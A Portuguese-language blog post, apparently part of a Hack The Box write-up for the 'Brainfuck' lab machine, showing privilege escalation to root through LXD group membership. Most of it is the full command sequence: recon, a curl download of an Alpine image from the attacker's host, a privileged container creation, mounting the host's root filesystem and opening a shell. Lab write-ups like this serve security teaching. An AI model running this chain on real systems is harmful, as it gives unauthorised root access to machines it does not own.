Brainfuck - HTB Write Up - Parte 4 - LXD Group Privilege Escalation
O que é LXD ?
É um sistema de gerenciamento de containers que tem como base o kernel do Linux.
No laboratório desta série de artigos sobre o servidor Brainfuck do HTB, o usuário Orestis pertence ao grupo LXD no qual dá permissão para criar e gerenciar containers LXD. Existe uma vulnerabilidade no LXD que permite a um usuário deste grupo obter acesso root no servidor. É essa vulnerabilidade que será mostrada neste artigo, finalizando assim a exploração do servidor Brainfuck.
Recon interno
cat /etc/os-release
Identificando permissão de escrita nos PATHs de variáveis do sistema.
echo $PATH
Identificando a versão do kernel
Identificando binários instalados no servidor
which [nome-do-binario]
Identificando os grupos nos quais o usuário pertence
Nesse ponto, o grupo LXD é localizado 110(lxd)
Nos artigos sobre a exploração do LXD é indicado usar a ferramenta Alpine para construir uma imagem Linux com a flag security.privileged=true que permite o container interagir com o filesystem do servidor como root.
Na máquina atacante, é feito o clone do repositório git clone https://github.com/saghul/lxd-alpine-builder e, em seguida, a execução do comando ./build-alpine
Na máquina-alvo é feito o download da imagem
curl -o image.tar.gz http://10.10.14.48:8080/alpine-v3.16-x86_64-20221022_1050.tar.gz
Na sequência, é feito o import da imagem usando o LXD a partir do diretório home do usuário-alvo
lxc image import ./image.tar.gz --alias myimage
Inicie a imagem com o comando:
lxc init myimage ignite -c security.privileged=true
O nome do container é ignite
Montar o diretório root do container ignite
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
Em seguida, inicie o container com o comando:
lxc start ignite
E execute o comando exec para ter acesso ao shell:
lxc exec ignite /bin/sh
Comentários
Postar um comentário